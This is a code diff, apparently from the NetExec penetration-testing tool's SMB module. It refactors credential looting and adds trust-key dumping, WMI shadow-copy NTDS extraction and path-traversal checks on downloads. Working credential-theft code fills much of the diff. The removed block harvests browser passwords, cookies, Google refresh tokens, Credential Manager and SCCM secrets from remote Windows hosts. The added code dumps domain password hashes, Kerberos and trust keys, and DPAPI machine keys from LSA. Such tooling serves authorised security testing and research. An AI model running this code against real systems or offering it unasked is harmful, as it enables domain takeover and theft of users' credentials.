from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
@@ -76,17 +78,13 @@ from nxc.protocols.smb.samrfunc import SamrFunc
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.misc import detect_if_ip
|
||||
from nxc.protocols.ldap.resolution import LDAPResolution
|
||||
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.lib.network.smb import SMBTarget as Target
|
||||
|
||||
from time import time, ctime, sleep
|
||||
from traceback import format_exc
|
||||
@@ -139,12 +137,12 @@ class smb(connection):
|
||||
self.nthash = ""
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.dpapi_system_key = None
|
||||
self.smbv1 = None # Check if SMBv1 is supported
|
||||
self.smbv3 = None # Check if SMBv3 is supported
|
||||
self.is_timed_out = False
|
||||
self.signing = False
|
||||
self.smb_share_name = smb_share_name
|
||||
self.pvkbytes = None
|
||||
self.no_da = None
|
||||
self.no_ntlm = False
|
||||
self.null_auth = False
|
||||
@@ -154,6 +152,8 @@ class smb(connection):
|
||||
self.tgt = None
|
||||
self.tgs = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -211,16 +211,15 @@ class smb(connection):
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = self.conn.getServerDNSHostName().upper()
|
||||
dns_hostname = self.conn.getServerDNSHostName()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
self.hostname = dns_hostname.split(".")[0]
|
||||
hostname = dns_hostname.split(".", 1)[0]
|
||||
elif dns_hostname:
|
||||
self.hostname = dns_hostname
|
||||
hostname = dns_hostname
|
||||
else:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
hostname = self.conn.getServerName()
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
|
||||
else:
|
||||
try:
|
||||
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
|
||||
@@ -895,17 +894,13 @@ class smb(connection):
|
||||
session we already hold answers without enumerating every share (unlike
|
||||
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
|
||||
|
||||
Meant to run while the null session is still fresh. When there is no
|
||||
session, the reason is decisive: a DC with NTLM enabled always accepts
|
||||
the null bind, so "NTLM on + no null session" means this is NOT a DC.
|
||||
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
|
||||
bind then), so we hand that case off to the Kerberos tier.
|
||||
Meant to run while the null session is still fresh. Without a session
|
||||
this check is inconclusive: DCs can refuse the null bind (Server 2025
|
||||
does by default, as does an NTLM-disabled DC), so we hand off to the
|
||||
RPC/Kerberos tiers.
|
||||
"""
|
||||
if not self.null_auth:
|
||||
if not self.no_ntlm:
|
||||
self.logger.debug("NTLM enabled but no null session: host is not a DC")
|
||||
return False
|
||||
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
|
||||
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
|
||||
return None
|
||||
try:
|
||||
tid = self.conn.connectTree("SYSVOL")
|
||||
@@ -1268,7 +1263,7 @@ class smb(connection):
|
||||
self.logger.error("Could not get process list")
|
||||
return
|
||||
|
||||
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
|
||||
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
|
||||
if not pidList:
|
||||
self.logger.fail(f"Could not find process named {self.args.taskkill}")
|
||||
return
|
||||
@@ -1382,12 +1377,12 @@ class smb(connection):
|
||||
@requires_admin
|
||||
def tasklist(self):
|
||||
# Formats a row to be printed on screen
|
||||
def format_row(procInfo):
|
||||
def format_row(procInfo, pSid):
|
||||
return template.format(
|
||||
procInfo["ImageName"],
|
||||
procInfo["UniqueProcessId"],
|
||||
procInfo["SessionId"],
|
||||
procInfo["pSid"],
|
||||
str(procInfo["ImageName"].getValue()),
|
||||
str(procInfo["UniqueProcessId"]),
|
||||
str(procInfo["SessionId"]),
|
||||
pSid,
|
||||
f"{procInfo['WorkingSetSize'] // 1000:,} K",
|
||||
)
|
||||
|
||||
@@ -1403,8 +1398,8 @@ class smb(connection):
|
||||
if not res:
|
||||
return
|
||||
self.logger.success("Enumerated processes")
|
||||
maxImageNameLen = max(len(i["ImageName"]) for i in res)
|
||||
maxSidLen = max(len(i["pSid"]) for i in res)
|
||||
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
|
||||
maxSidLen = max(len(i.getSid()) for i in res)
|
||||
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
|
||||
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
|
||||
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
|
||||
@@ -1415,12 +1410,12 @@ class smb(connection):
|
||||
# If args.tasklist is not True then a process name was supplied
|
||||
if self.args.tasklist is not True:
|
||||
# So we look for it and print its information if found
|
||||
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
|
||||
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
|
||||
found_task = True
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
# Else, no process was supplied, we print the entire list of remote processes
|
||||
else:
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
|
||||
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
|
||||
if self.args.tasklist is not True and not found_task:
|
||||
@@ -1993,7 +1988,7 @@ class smb(connection):
|
||||
try:
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
|
||||
if not flag or not stringBinding:
|
||||
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
|
||||
|
||||
@@ -2170,10 +2165,10 @@ class smb(connection):
|
||||
|
||||
def get_file_single(self, remote_path, download_path, silent=False):
|
||||
share_name = self.args.share
|
||||
if self.args.append_host:
|
||||
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
|
||||
if not silent:
|
||||
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
with open(download_path, "wb+") as file:
|
||||
if self.download_file(share_name, remote_path, file.write):
|
||||
if not silent:
|
||||
@@ -2206,10 +2201,18 @@ class smb(connection):
|
||||
|
||||
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
|
||||
|
||||
# create local directory structure regardless of content; download empty folders by default
|
||||
# change the Windows path to Linux and then join it with the base directory to get our actual save path
|
||||
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
|
||||
local_folder_path = os.path.join(dest, relative_path)
|
||||
# Create a safe local directory structure while retaining the raw remote path for SMB.
|
||||
try:
|
||||
relative_path = ntpath.relpath(folder, base_dir or folder)
|
||||
except ValueError:
|
||||
relative_path = folder
|
||||
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
|
||||
local_folder_path = os.path.join(dest, *relative_parts)
|
||||
destination_path = Path(dest).resolve()
|
||||
resolved_folder = Path(local_folder_path).resolve()
|
||||
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
|
||||
return
|
||||
|
||||
if not filtered_items and ignore_empty:
|
||||
self.logger.debug(f"Skipping empty folder '{folder}'")
|
||||
@@ -2221,22 +2224,20 @@ class smb(connection):
|
||||
self.logger.display(f"Created empty directory '{local_folder_path}'")
|
||||
|
||||
for item in filtered_items:
|
||||
item_name = sanitize_filename(item.get_longname())
|
||||
if not item_name:
|
||||
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
|
||||
continue
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
|
||||
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
|
||||
remote_item_name = item.get_longname()
|
||||
item_name = sanitize_path_component(remote_item_name)
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
|
||||
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
|
||||
|
||||
if item.is_directory() and recursive:
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path}")
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
|
||||
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
|
||||
elif not item.is_directory():
|
||||
remote_file_path = ntpath.join(folder, item_name)
|
||||
remote_file_path = ntpath.join(folder, remote_item_name)
|
||||
local_file_path = os.path.join(local_folder_path, item_name)
|
||||
# Defense-in-depth: verify path stays under destination
|
||||
resolved = Path(local_file_path).resolve()
|
||||
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
|
||||
if destination_path not in resolved.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
|
||||
continue
|
||||
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
|
||||
@@ -2244,7 +2245,7 @@ class smb(connection):
|
||||
try:
|
||||
self.get_file_single(remote_file_path, local_file_path, silent)
|
||||
except FileNotFoundError:
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
|
||||
|
||||
def get_folder(self):
|
||||
recursive = self.args.recursive
|
||||
@@ -2328,255 +2329,32 @@ class smb(connection):
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
dump_system = "nosystem" not in self.args.dpapi
|
||||
|
||||
if self.args.pvk is not None:
|
||||
try:
|
||||
with open(self.args.pvk, "rb") as f:
|
||||
self.pvkbytes = f.read()
|
||||
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
|
||||
if self.pvkbytes is None:
|
||||
self.pvkbytes = get_domain_backup_key(self)
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.remoteName,
|
||||
address=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
if dump_system:
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
dump_cookies = "cookies" in self.args.dpapi
|
||||
|
||||
cng_chromekey = None
|
||||
try:
|
||||
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
if self.output_file:
|
||||
self.output_file.close()
|
||||
with open(self.output_file_template.format(output_folder="dpapi")) as f:
|
||||
if sum(1 for _ in f) == 0:
|
||||
self.logger.fail("No dpapi loot retrieved")
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def list_snapshots(self):
|
||||
@@ -2593,13 +2371,21 @@ class smb(connection):
|
||||
self.logger.highlight(f"{drive:<8}{i:<26}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
try:
|
||||
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
|
||||
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
self.logger.highlight(secret)
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
@@ -2609,7 +2395,8 @@ class smb(connection):
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
@@ -2629,13 +2416,15 @@ class smb(connection):
|
||||
isRemote=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(self.output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(self.output_filename)
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
try:
|
||||
self.remote_ops.finish()
|
||||
except Exception as e:
|
||||
@@ -2650,13 +2439,15 @@ class smb(connection):
|
||||
|
||||
def ntds(self):
|
||||
self.enable_remoteops()
|
||||
is_remote = True
|
||||
use_vss_method = False
|
||||
NTDSFileName = None
|
||||
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
||||
printed_kerb_keys_banner = False
|
||||
printed_trust_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret, host_id):
|
||||
nonlocal printed_kerb_keys_banner
|
||||
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
@@ -2667,13 +2458,15 @@ class smb(connection):
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
is_enabled_account = secret.endswith(" (status=Enabled)")
|
||||
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
|
||||
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
|
||||
secret = secret.removesuffix(status)
|
||||
|
||||
if not self.args.enabled or is_enabled_account or is_trust_key:
|
||||
if is_trust_key and not printed_trust_keys_banner:
|
||||
self.logger.display("Trust keys:")
|
||||
printed_trust_keys_banner = True
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
@@ -2701,20 +2494,21 @@ class smb(connection):
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
if self.remote_ops:
|
||||
try:
|
||||
if self.args.ntds == "vss":
|
||||
NTDSFileName = self.remote_ops.saveNTDS()
|
||||
use_vss_method = True
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
if self.args.ntds == "vss":
|
||||
use_vss_method = True
|
||||
is_remote = False
|
||||
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
|
||||
os.makedirs(output_folder, exist_ok=True)
|
||||
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
|
||||
localOps = LocalOperations(system_path)
|
||||
self.bootkey = localOps.getBootKey()
|
||||
|
||||
self.output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
NTDSFileName,
|
||||
self.bootkey,
|
||||
isRemote=True,
|
||||
isRemote=is_remote,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
remoteOps=self.remote_ops,
|
||||
@@ -2725,18 +2519,27 @@ class smb(connection):
|
||||
outputFileName=self.output_filename,
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
trustKeys=self.args.trust_keys,
|
||||
justTrustKeys=self.args.just_trust_keys,
|
||||
domainFQDN=self.targetDomain,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
|
||||
else:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{self.output_filename}.ntds"
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
|
||||
else:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
|
||||
@@ -3,7 +3,7 @@ import threading
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
SAWarning
|
||||
